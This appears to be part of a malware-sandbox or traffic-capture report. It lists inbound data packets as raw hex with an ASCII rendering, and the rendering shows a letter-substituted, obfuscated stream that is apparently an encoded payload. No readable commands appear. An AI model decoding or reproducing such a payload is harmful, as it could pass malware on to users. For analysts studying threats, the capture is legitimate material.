2021-10-29 15:55:36 UTC	1820	IN	Data Raw: 20 45 6f 20 4b 6b 20 59 4b 20 6f 45 74 20 6b 51 20 4f 78 4f 20 4f 6f 59 20 4f 4f 59 20 59 78 20 6f 4b 6f 20 6f 59 20 59 4b 20 6b 4b 20 4f 4f 6b 20 4f 4f 74 20 52 6b 20 74 4f 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 6f 59 6f 20 51 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 59 6f 20 6f 74 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 4f 51 74 20 6b 51 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 4f 51 20 6b 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 4f 51 20 6f 4f 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 4b 6f 20 6b 74 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 4f 51 20 6b 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 4f 51 20 6f 4f 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 52 78 20 6b 51 20 59 78 20 4b 6b 20 4b 6b 20 59 4b 20 6f 6f Data Ascii: Eo Kk YK oEt kQ OxO OoY OOY Yx oKo oY YK kK OOk OOt Rk tO Yx Kk YO YK oYo QO OOt OxQ OOE Yx OYo ot YK kK OOY OOt OQt kQ Yx Kk YO YK OQ kY OOt OxQ OOE Yx OOQ oO YK kK OOY OOt Ko kt Yx Kk YO YK OQ kY OOt OxQ OOE Yx OOQ oO YK kK OOY OOt Rx kQ Yx Kk Kk YK oo
2021-10-29 15:55:36 UTC	1824	IN	Data Raw: 20 59 4b 20 6b 4b 20 4f 6f 45 20 4f 4f 74 20 6f 4b 4b 20 74 6f 20 59 78 20 4b 6b 20 59 52 20 59 4b 20 4f 59 6b 20 6b 6b 20 4f 4f 74 20 4f 78 51 20 4f 6f 45 20 59 78 20 4f 6f 4f 20 4f 59 20 59 6f 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 51 4f 20 59 78 20 59 78 20 4b 6b 20 4b 6b 20 59 4b 20 4f 4f 45 20 74 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 6f 4f 20 4f 59 20 59 4b 20 6b 4b 20 4f 4f 6f 20 4f 4f 74 20 51 51 20 4f 4f 78 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 51 51 20 4b 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 74 20 4f 4f 6f 20 59 4b 20 6b 4b 20 4f 4f 6f 20 4f 4f 74 20 4f 52 74 20 51 78 20 59 78 20 4b 6b 20 4b 51 20 59 4b 20 6f 51 20 74 51 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 6f 4f 20 4f 6f 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f Data Ascii: YK kK OoE OOt oKK to Yx Kk YR YK OYk kk OOt OxQ OoE Yx OoO OY Yo kK OOY OOt QO Yx Yx Kk Kk YK OOE tR OOt OxQ OOE Yx OoO OY YK kK OOo OOt QQ OOx Yx Kk YO YK QQ Kk OOt OxQ OOE Yx t OOo YK kK OOo OOt ORt Qx Yx Kk KQ YK oQ tQ OOt OxQ OOE Yx oO Oo YK kK OOY O
2021-10-29 15:55:36 UTC	1828	IN	Data Raw: 6f 4f 4f 20 59 4f 20 6f 4f 52 20 6f 4f 20 4f 45 6f 20 4f 4f 6b 20 4f 59 52 20 4f 4f 78 20 4b 74 20 45 4f 20 6f 45 78 20 59 4b 20 4f 51 51 20 6b 74 20 6f 6b 20 4f 78 52 20 4f 74 74 20 4f 4f 52 20 6f 45 78 20 4b 6b 20 4f 51 78 20 6f 51 20 4f 4f 59 20 4f 4f 4b 20 4f 4f 52 20 4f 78 6b 20 6f 59 4b 20 52 20 6f 4f 4f 20 59 4b 20 45 51 20 6b 59 20 74 20 52 6b 20 4f 45 59 20 4f 4f 52 20 59 4f 20 59 6f 20 52 6b 20 51 20 4f 52 74 20 4f 4f 6b 20 4f 4f 52 20 4f 78 59 20 4f 6f 4f 20 51 20 6f 78 4f 20 59 4b 20 52 45 20 6b 78 20 45 45 20 4f 4f 78 20 4f 4b 52 20 4f 4f 52 20 6f 45 6b 20 4b 6b 20 4f 6b 6b 20 6f 20 6b 59 20 4f 4f 4b 20 4f 78 78 20 4f 78 59 20 4f 45 45 20 6f 4f 20 4b 78 20 59 59 20 6f 45 20 6b 78 20 6f 4f 74 20 6b 52 20 4f 78 6b 20 4f 4f 6f 20 4f 51 20 59 6f Data Ascii: oOO YO oOR oO OEo OOk OYR OOx Kt EO oEx YK OQQ kt ok OxR Ott OOR oEx Kk OQx oQ OOY OOK OOR Oxk oYK R oOO YK EQ kY t Rk OEY OOR YO Yo Rk Q ORt OOk OOR OxY OoO Q oxO YK RE kx EE OOx OKR OOR oEk Kk Okk o kY OOK Oxx OxY OEE oO Kx YY oE kx oOt kR Oxk OOo OQ Yo
2021-10-29 15:55:36 UTC	1832	IN	Data Raw: 20 6f 59 4b 20 52 20 6b 45 20 52 45 20 4f 78 45 20 6b 74 20 6f 59 4b 20 74 78 20 74 20 4f 6f 59 20 51 51 20 59 45 20 4f 6b 6b 20 6f 20 6b 59 20 4f 4f 4b 20 45 52 20 4f 78 4b 20 6f 4b 6f 20 6f 4f 20 52 6b 20 52 45 20 4f 78 45 20 6b 4f 20 6f 78 74 20 6b 6f 20 6f 59 20 4f 6f 59 20 4f 78 74 20 59 45 20 4b 4f 20 4f 4b 20 4b 59 20 4f 6f 74 20 52 78 20 4f 4f 4f 20 6f 4b 20 4f 4f 4b 20 4f 74 52 20 52 45 20 4f 6f 74 20 6b 52 20 6f 59 4b 20 59 45 20 6f 45 74 20 4f 6f 59 20 4f 6f 45 20 59 78 20 74 59 20 4f 4f 6b 20 6f 4f 6f 20 4f 6f 74 20 52 78 20 4f 4f 4f 20 4b 78 20 4f 4f 4b 20 4f 74 52 20 52 45 20 4f 78 45 20 6b 4f 20 6f 78 6b 20 4f 78 52 20 6f 45 4b 20 4f 6f 59 20 51 4f 20 59 45 20 4f 6b 6b 20 6f 20 6b 59 20 4f 4f 4b 20 6f 6b 20 4f 78 4b 20 52 74 20 6f 4b 20 59 Data Ascii: oYK R kE RE OxE kt oYK tx t OoY QQ YE Okk o kY OOK ER OxK oKo oO Rk RE OxE kO oxt ko oY OoY Oxt YE KO OK KY Oot Rx OOO oK OOK OtR RE Oot kR oYK YE oEt OoY OoE Yx tY OOk oOo Oot Rx OOO Kx OOK OtR RE OxE kO oxk OxR oEK OoY QO YE Okk o kY OOK ok OxK Rt oK Y
2021-10-29 15:55:36 UTC	1837	IN	Data Raw: 6f 78 51 20 4f 4f 74 20 4f 59 45 20 4f 78 51 20 4f 6f 45 20 59 59 20 4f 6f 51 20 59 4b 20 6f 59 78 20 4f 78 4b 20 6f 78 20 4f 78 52 20 59 4f 20 59 78 20 4f 51 6b 20 52 4f 20 6b 59 20 6b 45 20 6f 78 51 20 4f 4f 74 20 4f 4f 45 20 4f 4f 78 20 51 4f 20 59 59 20 4f 6f 51 20 59 4b 20 6f 45 4b 20 4f 78 4b 20 6f 4b 4b 20 4f 78 52 20 59 4f 20 59 78 20 4f 51 6b 20 52 4f 20 4f 6b 4f 20 6b 45 20 6f 78 51 20 4f 4f 74 20 4b 4f 20 4f 4f 78 20 4f 6b 74 20 59 59 20 4f 6f 51 20 59 4b 20 4f 59 4b 20 4f 78 4b 20 6f 4f 6f 20 4f 78 52 20 59 4f 20 59 78 20 4f 51 6b 20 52 4f 20 4f 4b 51 20 6b 45 20 6f 78 51 20 4f 4f 74 20 52 20 4f 4f 78 20 4f 59 59 20 59 59 20 4f 6f 51 20 59 4b 20 4f 45 51 20 4f 78 4b 20 4f 6b 78 20 4f 78 52 20 59 4f 20 59 78 20 4f 51 6b 20 52 4f 20 6f 4b 59 20 Data Ascii: oxQ OOt OYE OxQ OoE YY OoQ YK oYx OxK ox OxR YO Yx OQk RO kY kE oxQ OOt OOE OOx QO YY OoQ YK oEK OxK oKK OxR YO Yx OQk RO OkO kE oxQ OOt KO OOx Okt YY OoQ YK OYK OxK oOo OxR YO Yx OQk RO OKQ kE oxQ OOt R OOx OYY YY OoQ YK OEQ OxK Okx OxR YO Yx OQk RO oKY
2021-10-29 15:55:36 UTC	1841	IN	Data Raw: 4f 51 6b 20 4f 78 74 20 4f 6b 20 4f 51 20 6f 4b 4f 20 59 4b 20 6f 45 6f 20 4f 78 59 20 6b 4f 20 74 6b 20 45 59 20 59 78 20 4f 51 6b 20 52 4f 20 4f 4f 6b 20 4f 4f 51 20 4b 51 20 4f 4f 74 20 4f 59 59 20 4f 6f 74 20 6b 6f 20 4f 51 20 4f 4f 45 20 59 4b 20 4f 52 6f 20 4f 6f 59 20 6f 4b 59 20 74 6b 20 59 4f 20 59 78 20 4f 51 6b 20 52 4f 20 4f 59 78 20 4f 4f 51 20 4b 51 20 4f 4f 74 20 4f 59 59 20 4f 6f 74 20 6f 4f 78 20 4f 51 20 4f 4f 45 20 59 4b 20 4f 52 6f 20 4f 6f 59 20 4f 4f 74 20 74 45 20 59 4f 20 59 78 20 4f 51 6b 20 52 4f 20 6f 6f 20 4f 4f 6f 20 4b 51 20 4f 4f 74 20 4f 59 59 20 4f 6f 74 20 4f 4f 4b 20 6f 78 20 4f 4f 45 20 59 4b 20 4f 52 6f 20 4f 6f 59 20 6f 4f 20 74 45 20 59 4f 20 59 78 20 4f 51 6b 20 52 4f 20 4f 6b 6f 20 4f 4f 6f 20 4b 51 20 4f 4f 74 20 Data Ascii: OQk Oxt Ok OQ oKO YK oEo OxY kO tk EY Yx OQk RO OOk OOQ KQ OOt OYY Oot ko OQ OOE YK ORo OoY oKY tk YO Yx OQk RO OYx OOQ KQ OOt OYY Oot oOx OQ OOE YK ORo OoY OOt tE YO Yx OQk RO oo OOo KQ OOt OYY Oot OOK ox OOE YK ORo OoY oO tE YO Yx OQk RO Oko OOo KQ OOt
2021-10-29 15:55:36 UTC	1845	IN	Data Raw: 4b 20 4f 78 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 6b 4b 20 4b 6b 20 59 4f 20 59 4b 20 74 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 6f 45 20 59 78 20 4b 51 20 59 78 20 4b 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 59 20 4f 4f 6f 20 59 4f 20 4b 6b 20 4f 6b 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f 6b 20 4f 78 51 20 4f 4f 45 20 59 78 20 6f 6f 20 59 78 20 59 4b 20 6b 4b 20 6f 4b 20 4f 4f 74 20 4f 78 6b 20 4f 4f 6f 20 6f 52 20 4b 6b 20 59 78 20 59 4b 20 52 45 20 4f 4f 4b 20 4f 4f 52 20 4f 78 51 20 51 78 20 59 78 20 4b 6b 20 59 78 20 51 78 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 52 59 20 4f 4f 6f 20 59 78 20 4b 6b 20 51 59 20 59 4b 20 6b 59 20 4f 4f 4b 20 51 4f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 51 4b 20 59 78 20 59 59 20 6b 4b 20 52 52 20 4f 4f 74 20 4f 78 51 20 4f 4f Data Ascii: K OxR OOt OxQ OOo kK Kk YO YK to OOK OOt OxQ oE Yx KQ Yx Kx kK OOK OOt Y OOo YO Kk Ok YK kK OOK ok OxQ OOE Yx oo Yx YK kK oK OOt Oxk OOo oR Kk Yx YK RE OOK OOR OxQ Qx Yx Kk Yx Qx kK OOY OOt RY OOo Yx Kk QY YK kY OOK QO OxQ OOo Yx QK Yx YY kK RR OOt OxQ OO
2021-10-29 15:55:36 UTC	1848	IN	Data Raw: 20 59 52 20 4f 59 59 20 4b 74 20 6b 4b 20 4f 4f 4b 20 52 4f 20 4f 78 6f 20 6b 45 20 4b 45 20 4b 6b 20 59 78 20 4f 78 4f 20 6b 78 20 6b 4f 20 4f 78 6b 20 4f 78 51 20 4f 4f 6f 20 6f 45 52 20 59 4b 20 4f 74 20 4b 74 20 6b 4b 20 4f 4f 4b 20 4f 6b 78 20 4f 78 4f 20 6b 45 20 4b 45 20 4b 6b 20 59 78 20 4f 6f 52 20 51 59 20 6b 4f 20 4f 78 6b 20 4f 78 51 20 4f 4f 6f 20 6f 4f 59 20 52 78 20 4f 74 20 4b 74 20 6b 4b 20 4f 4f 4b 20 59 78 20 51 51 20 6b 45 20 4b 45 20 4b 6b 20 59 78 20 4f 4f 45 20 51 4f 20 6f 6f 4f 20 4f 78 6b 20 4f 78 51 20 4f 4f 6f 20 4f 78 74 20 45 45 20 4f 74 20 4b 74 20 6b 4b 20 4f 4f 4b 20 4f 52 78 20 4f 6f 4b 20 6b 45 20 4b 45 20 4b 6b 20 59 78 20 6f 51 20 6b 4b 20 6b 4f 20 4f 78 6b 20 4f 78 51 20 4f 4f 6f 20 6f 4f 20 59 4f 20 4f 74 20 4b 74 20 Data Ascii: YR OYY Kt kK OOK RO Oxo kE KE Kk Yx OxO kx kO Oxk OxQ OOo oER YK Ot Kt kK OOK Okx OxO kE KE Kk Yx OoR QY kO Oxk OxQ OOo oOY Rx Ot Kt kK OOK Yx QQ kE KE Kk Yx OOE QO ooO Oxk OxQ OOo Oxt EE Ot Kt kK OOK ORx OoK kE KE Kk Yx oQ kK kO Oxk OxQ OOo oO YO Ot Kt
2021-10-29 15:55:36 UTC	1852	IN	Data Raw: 20 6f 78 74 20 59 78 20 4b 51 20 59 78 20 6f 59 45 20 6b 59 20 6f 78 59 20 4f 4f 74 20 4f 4f 4f 20 4f 4f 6f 20 6f 59 4b 20 4b 51 20 6f 4b 45 20 59 4b 20 6b 59 20 4f 4f 4b 20 4f 6b 4b 20 4f 78 6b 20 4f 74 74 20 59 78 20 59 78 20 59 78 20 6f 4b 6b 20 6b 59 20 4f 74 74 20 4f 4f 74 20 4f 78 6b 20 4f 4f 6f 20 6f 59 45 20 4b 51 20 6f 4b 4f 20 59 4b 20 6b 52 20 4f 4f 4b 20 4f 52 4b 20 4f 78 6b 20 4f 6b 4f 20 59 78 20 4b 51 20 59 78 20 6f 6f 6b 20 6b 59 20 4f 6b 45 20 4f 4f 74 20 4f 4f 4f 20 4f 4f 6f 20 52 4f 20 59 78 20 6f 4b 59 20 59 4b 20 6b 52 20 4f 4f 4b 20 4f 78 78 20 4f 4f 4f 20 4f 6b 59 20 59 78 20 59 4b 20 59 78 20 45 78 20 6b 4b 20 51 74 20 4f 4f 74 20 59 51 20 4f 4f 6f 20 4b 78 20 59 6f 20 45 74 20 59 4b 20 6f 20 4f 4f 4b 20 4f 78 59 20 4f 78 59 20 4f Data Ascii: oxt Yx KQ Yx oYE kY oxY OOt OOO OOo oYK KQ oKE YK kY OOK OkK Oxk Ott Yx Yx Yx oKk kY Ott OOt Oxk OOo oYE KQ oKO YK kR OOK ORK Oxk OkO Yx KQ Yx ook kY OkE OOt OOO OOo RO Yx oKY YK kR OOK Oxx OOO OkY Yx YK Yx Ex kK Qt OOt YQ OOo Kx Yo Et YK o OOK OxY OxY O
2021-10-29 15:55:36 UTC	1856	IN	Data Raw: 4b 20 4f 4f 45 20 4f 4f 4b 20 4b 78 20 4f 78 51 20 6b 74 20 59 78 20 4f 4f 78 20 59 78 20 4f 4f 59 20 6b 4b 20 4b 59 20 4f 4f 74 20 4b 78 20 4f 4f 6f 20 6b 6f 20 4b 6b 20 4f 4f 51 20 59 4b 20 59 45 20 4f 4f 4b 20 4b 6b 20 4f 78 51 20 4f 6b 20 59 78 20 4f 4f 74 20 59 78 20 6b 59 20 6b 4b 20 59 59 20 4f 4f 74 20 51 20 4f 4f 6f 20 4f 4f 51 20 4b 6b 20 6b 74 20 59 4b 20 4f 74 20 4f 4f 4b 20 4f 51 20 4f 78 51 20 59 45 20 59 78 20 6b 74 20 59 78 20 4f 4f 59 20 6b 4b 20 6f 52 20 4f 4f 74 20 4b 78 20 4f 4f 6f 20 51 4f 20 4b 6b 20 4f 4f 51 20 59 4b 20 52 6f 20 4f 4f 4b 20 4b 6b 20 4f 78 51 20 6f 74 20 59 78 20 4f 4f 74 20 59 78 20 51 78 20 6b 4b 20 59 59 20 4f 4f 74 20 78 20 4f 4f 6f 20 4f 4f 51 20 4b 6b 20 51 6f 20 59 4b 20 4f 74 20 4f 4f 4b 20 6f 52 20 4f 78 51 Data Ascii: K OOE OOK Kx OxQ kt Yx OOx Yx OOY kK KY OOt Kx OOo ko Kk OOQ YK YE OOK Kk OxQ Ok Yx OOt Yx kY kK YY OOt Q OOo OOQ Kk kt YK Ot OOK OQ OxQ YE Yx kt Yx OOY kK oR OOt Kx OOo QO Kk OOQ YK Ro OOK Kk OxQ ot Yx OOt Yx Qx kK YY OOt x OOo OOQ Kk Qo YK Ot OOK oR OxQ
2021-10-29 15:55:36 UTC	1872	IN	Data Raw: 78 20 4f 4f 51 20 4b 20 4f 4f 59 20 4f 20 4f 78 4f 20 52 52 20 59 4f 20 6b 4b 20 52 6b 20 45 20 78 20 4f 4f 52 20 4f 4f 6f 20 4f 74 20 4b 51 20 4b 6b 20 4b 4b 20 59 4b 20 4b 20 4f 20 45 20 52 20 6f 4f 20 52 52 20 52 6b 20 6b 4b 20 52 52 20 78 20 4f 4f 4b 20 59 78 20 4f 4f 4b 20 4f 6b 20 52 4b 20 59 59 20 4b 4f 20 59 4f 20 4f 20 51 20 59 20 45 20 4f 52 20 4b 51 20 74 4f 20 6b 6b 20 59 78 20 4f 4f 52 20 4f 4f 45 20 4f 4f 52 20 4f 4f 6f 20 6f 4f 20 74 78 20 74 52 20 51 78 20 74 78 20 4f 4f 51 20 51 20 4f 4f 45 20 4f 4f 4b 20 4f 78 4f 20 59 59 20 74 78 20 6b 59 20 4b 51 20 4f 4f 59 20 4f 4f 52 20 4f 4f 52 20 6f 20 51 6b 20 52 59 20 59 59 20 4f 78 51 20 74 45 20 4f 4f 6b 20 51 20 4f 4f 59 20 4f 4f 6f 20 4f 78 45 20 59 4f 20 4b 6b 20 51 6f 20 52 59 20 4f 4f 59 Data Ascii: x OOQ K OOY O OxO RR YO kK Rk E x OOR OOo Ot KQ Kk KK YK K O E R oO RR Rk kK RR x OOK Yx OOK Ok RK YY KO YO O Q Y E OR KQ tO kk Yx OOR OOE OOR OOo oO tx tR Qx tx OOQ Q OOE OOK OxO YY tx kY KQ OOY OOR OOR o Qk RY YY OxQ tE OOk Q OOY OOo OxE YO Kk Qo RY OOY
2021-10-29 15:55:36 UTC	1880	IN	Data Raw: 20 4f 6f 6f 20 74 4f 20 51 6f 20 6b 6f 20 6b 4b 20 45 4f 20 4f 52 20 6f 59 20 6f 4b 20 51 45 20 6b 4b 20 59 78 20 51 6b 20 45 6b 20 4f 4f 20 52 78 20 45 20 6f 59 20 74 78 20 4f 4f 52 20 51 4f 20 52 51 20 59 59 20 6f 51 20 74 20 51 20 4f 4f 6f 20 52 59 20 6b 4b 20 6b 4b 20 4f 59 20 4f 78 45 20 74 78 20 6f 78 20 45 78 20 6f 78 20 59 78 20 6b 4f 20 52 59 20 6b 6f 20 52 45 20 74 59 20 74 78 20 6b 51 20 52 51 20 6b 45 20 52 74 20 6b 52 20 59 4b 20 59 45 20 6f 6f 20 45 78 20 4f 6f 20 45 20 6b 52 20 6b 20 74 4f 20 59 20 52 78 20 4f 52 20 6f 78 20 45 78 20 6f 78 20 59 78 20 51 4f 20 6b 51 20 6b 6f 20 52 78 20 6f 78 20 6f 78 20 52 20 6f 78 20 6b 45 20 52 74 20 6b 52 20 59 4b 20 45 51 20 6f 6f 20 4f 51 20 52 20 52 74 20 4f 78 20 51 78 20 6b 45 20 52 51 20 4b 6b 20 Data Ascii: Ooo tO Qo ko kK EO OR oY oK QE kK Yx Qk Ek OO Rx E oY tx OOR QO RQ YY oQ t Q OOo RY kK kK OY OxE tx ox Ex ox Yx kO RY ko RE tY tx kQ RQ kE Rt kR YK YE oo Ex Oo E kR k tO Y Rx OR ox Ex ox Yx QO kQ ko Rx ox ox R ox kE Rt kR YK EQ oo OQ R Rt Ox Qx kE RQ Kk
2021-10-29 15:55:36 UTC	1896	IN	Data Raw: 6f 74 20 6f 74 20 6f 59 20 6f 4f 20 52 4b 20 4b 6b 20 6b 45 20 6b 6f 20 59 45 20 6f 20 4f 20 6b 20 6f 20 59 78 20 4f 4f 4b 20 51 4f 20 52 52 20 6f 45 20 6f 51 20 6f 74 20 6f 74 20 6f 4f 20 52 4b 20 52 6b 20 6b 74 20 52 6b 20 6b 4b 20 45 6b 20 6f 78 20 45 78 20 6f 74 20 51 52 20 6b 59 20 52 59 20 6b 51 20 59 52 20 4b 20 4f 52 20 45 4f 20 4f 4f 6f 20 4f 78 6f 20 51 59 20 4f 6f 52 20 6b 51 20 45 59 20 6f 45 20 74 20 4f 78 51 20 59 6b 20 6b 45 20 74 78 20 6b 45 20 4f 78 4f 20 59 59 20 78 20 6f 6b 20 6f 51 20 4b 20 51 74 20 6b 59 20 52 4b 20 51 59 20 59 45 20 45 78 20 6f 6b 20 6f 45 20 6f 4f 20 52 4b 20 4b 6b 20 4f 78 52 20 6b 51 20 45 6b 20 4f 4f 4b 20 52 78 20 59 74 20 4f 74 20 52 59 20 51 4f 20 51 6b 20 52 6b 20 59 51 20 4f 74 20 4f 52 20 45 78 20 45 20 51 Data Ascii: ot ot oY oO RK Kk kE ko YE o O k o Yx OOK QO RR oE oQ ot ot oO RK Rk kt Rk kK Ek ox Ex ot QR kY RY kQ YR K OR EO OOo Oxo QY OoR kQ EY oE t OxQ Yk kE tx kE OxO YY x ok oQ K Qt kY RK QY YE Ex ok oE oO RK Kk OxR kQ Ek OOK Rx Yt Ot RY QO Qk Rk YQ Ot OR Ex E Q
2021-10-29 15:55:36 UTC	1912	IN	Data Raw: 20 59 4b 20 59 6b 20 4f 4f 4b 20 4f 6b 20 4f 78 51 20 51 4b 20 59 78 20 51 6b 20 59 78 20 6b 45 20 6b 4b 20 6f 20 4f 4f 74 20 4f 20 4f 4f 6f 20 6b 45 20 4b 6b 20 6b 4f 20 59 4b 20 4b 51 20 4f 4f 4b 20 4f 4f 74 20 51 78 20 59 78 20 59 78 20 4f 4f 59 20 59 78 20 52 6b 20 6b 4b 20 4f 4f 20 4f 4f 74 20 6f 51 20 4f 4f 6f 20 74 78 20 4b 6b 20 4f 6f 59 20 59 4b 20 45 52 20 4f 4f 4b 20 4f 52 20 4f 78 51 20 45 78 20 59 78 20 4f 4f 45 20 59 78 20 51 78 20 6b 4b 20 6f 4f 20 4f 4f 74 20 6f 20 4f 4f 6f 20 52 4b 20 4b 6b 20 51 4f 20 59 4b 20 45 6f 20 4f 4f 4b 20 6f 51 20 4f 78 51 20 6f 51 20 59 78 20 51 52 20 59 78 20 52 6b 20 6b 4b 20 6f 51 20 4f 4f 74 20 6f 74 20 4f 4f 6f 20 51 4f 20 4b 6b 20 6b 52 20 59 4b 20 4b 51 20 4f 4f 4b 20 74 20 4f 78 51 20 4f 4f 6f 20 4f 4f Data Ascii: YK Yk OOK Ok OxQ QK Yx Qk Yx kE kK o OOt O OOo kE Kk kO YK KQ OOK OOt Qx Yx Yx OOY Yx Rk kK OO OOt oQ OOo tx Kk OoY YK ER OOK OR OxQ Ex Yx OOE Yx Qx kK oO OOt o OOo RK Kk QO YK Eo OOK oQ OxQ oQ Yx QR Yx Rk kK oQ OOt ot OOo QO Kk kR YK KQ OOK t OxQ OOo OO
2021-10-29 15:55:36 UTC	1928	IN	Data Raw: 78 20 6f 45 52 20 6f 59 45 20 59 59 20 4b 6b 20 4b 6b 20 59 52 20 51 78 20 4f 4f 78 20 4f 6f 74 20 74 74 20 4f 4f 45 20 59 4f 20 45 74 20 45 6f 20 4f 6b 6f 20 6f 4b 4f 20 4f 4f 59 20 4f 78 6f 20 4f 78 51 20 51 6b 20 59 45 20 59 45 20 45 51 20 45 52 20 4f 6f 4f 20 4f 4f 59 20 4f 78 45 20 6f 45 74 20 4f 52 4b 20 45 6f 20 51 74 20 45 6f 20 51 51 20 74 78 20 6f 4b 6f 20 4f 52 4f 20 4f 6f 74 20 4b 4f 20 59 6f 20 4f 52 20 59 4f 20 59 59 20 74 78 20 6f 4b 45 20 6f 6f 6b 20 4f 78 4b 20 6b 78 20 59 78 20 45 4b 20 4f 74 51 20 4f 52 45 20 6b 4f 20 6b 6f 20 4f 4f 74 20 4f 6f 74 20 6f 4b 4f 20 4f 74 4f 20 59 45 20 4f 6b 20 59 59 20 74 78 20 4b 74 20 4f 6f 59 20 4f 78 6f 20 4f 4f 51 20 59 4b 20 45 4b 20 4f 74 6b 20 6f 6f 52 20 74 78 20 45 51 20 4f 78 45 20 4b 6b 20 51 Data Ascii: x oER oYE YY Kk Kk YR Qx OOx Oot tt OOE YO Et Eo Oko oKO OOY Oxo OxQ Qk YE YE EQ ER OoO OOY OxE oEt ORK Eo Qt Eo QQ tx oKo ORO Oot KO Yo OR YO YY tx oKE ook OxK kx Yx EK OtQ ORE kO ko OOt Oot oKO OtO YE Ok YY tx Kt OoY Oxo OOQ YK EK Otk ooR tx EQ OxE Kk Q
2021-10-29 15:55:36 UTC	1944	IN	Data Raw: 4b 6b 20 4f 6f 52 20 4f 4f 74 20 4f 78 59 20 4f 78 4f 20 45 6f 20 6f 51 20 59 4f 20 59 52 20 51 78 20 4f 6f 6f 20 4f 6f 59 20 4f 4f 6f 20 4f 6f 52 20 52 4f 20 4b 6b 20 59 4f 20 45 59 20 74 78 20 51 59 20 4f 4f 52 20 4f 6f 74 20 6f 4b 4f 20 59 78 20 45 74 20 45 6f 20 4f 6b 6f 20 6f 4b 4f 20 4f 4f 59 20 4f 6f 45 20 51 51 20 4f 4f 6f 20 4b 51 20 45 74 20 45 6f 20 4f 6b 6f 20 6f 4b 4f 20 4f 4f 59 20 4f 6f 45 20 51 51 20 51 74 20 4f 74 6b 20 4f 59 74 20 4b 74 20 59 52 20 51 45 20 6b 6f 20 4f 4f 51 20 51 51 20 51 6b 20 4f 74 6b 20 4f 59 6f 20 45 6f 20 4f 6b 6f 20 6f 59 45 20 4f 6f 78 20 6b 59 20 4f 78 51 20 4f 78 4f 20 45 6f 20 4f 74 52 20 4f 59 4f 20 59 59 20 74 78 20 6f 4b 6f 20 6f 6f 4f 20 4f 78 4f 20 6b 78 20 59 4f 20 4b 51 20 45 51 20 45 52 20 4f 78 4f 20 Data Ascii: Kk OoR OOt OxY OxO Eo oQ YO YR Qx Ooo OoY OOo OoR RO Kk YO EY tx QY OOR Oot oKO Yx Et Eo Oko oKO OOY OoE QQ OOo KQ Et Eo Oko oKO OOY OoE QQ Qt Otk OYt Kt YR QE ko OOQ QQ Qk Otk OYo Eo Oko oYE Oox kY OxQ OxO Eo OtR OYO YY tx oKo ooO OxO kx YO KQ EQ ER OxO
2021-10-29 15:55:36 UTC	1960	IN	Data Raw: 74 20 4b 78 20 4f 4f 6f 20 4f 4f 78 20 4b 6b 20 4f 6f 74 20 59 4b 20 52 4f 20 4f 4f 4b 20 6f 6f 20 4f 78 51 20 6f 20 59 78 20 51 59 20 59 78 20 52 51 20 6b 4b 20 6f 51 20 4f 4f 74 20 4f 4f 20 4f 4f 6f 20 74 78 20 4b 6b 20 4f 4f 78 20 59 4b 20 45 20 4f 4f 4b 20 6f 6b 20 4f 78 51 20 45 78 20 59 78 20 6b 4b 20 59 78 20 6b 51 20 6b 4b 20 59 20 4f 4f 74 20 45 78 20 4f 4f 6f 20 4f 4f 78 20 4b 6b 20 4f 4f 45 20 59 4b 20 45 45 20 4f 4f 4b 20 74 20 4f 78 51 20 6f 20 59 78 20 6b 59 20 59 78 20 6b 6b 20 6b 4b 20 52 20 4f 4f 74 20 59 51 20 4f 4f 6f 20 6b 74 20 4b 6b 20 52 4b 20 59 4b 20 45 51 20 4f 4f 4b 20 6f 6b 20 4f 78 51 20 45 4f 20 59 78 20 51 4b 20 59 78 20 4f 78 52 20 6b 4b 20 45 51 20 4f 4f 74 20 45 20 4f 4f 6f 20 51 4f 20 4b 6b 20 51 6f 20 59 4b 20 45 51 20 Data Ascii: t Kx OOo OOx Kk Oot YK RO OOK oo OxQ o Yx QY Yx RQ kK oQ OOt OO OOo tx Kk OOx YK E OOK ok OxQ Ex Yx kK Yx kQ kK Y OOt Ex OOo OOx Kk OOE YK EE OOK t OxQ o Yx kY Yx kk kK R OOt YQ OOo kt Kk RK YK EQ OOK ok OxQ EO Yx QK Yx OxR kK EQ OOt E OOo QO Kk Qo YK EQ
2021-10-29 15:55:36 UTC	1976	IN	Data Raw: 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 59 20 4f 78 51 20 51 4f 20 59 78 20 4b 51 20 59 78 20 4f 6f 6f 20 6b 4b 20 6f 45 20 4f 4f 74 20 4f 78 20 4f 4f 6f 20 6b 45 20 4b 6b 20 51 4b 20 59 4b 20 6f 45 20 4f 4f 4b 20 6f 52 20 4f 78 51 20 78 20 59 78 20 74 45 20 59 78 20 52 6b 20 6b 4b 20 6f 74 20 4f 4f 74 20 4f 78 20 4f 4f 6f 20 51 78 20 4b 6b 20 74 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 59 4b 20 4f 78 51 20 45 4f 20 59 78 20 52 4b 20 59 78 20 74 51 20 6b 4b 20 78 20 4f 4f 74 20 4b 20 4f 4f 6f 20 6b 59 20 4b 6b 20 51 78 20 59 4b 20 45 6f 20 4f 4f 4b 20 6b 59 20 4f 78 51 20 52 52 20 59 78 20 78 20 59 78 20 4b 20 6b 4b 20 52 52 20 4f 4f 74 20 74 74 20 4f 4f 6f 20 4f 59 59 20 4b 6b 20 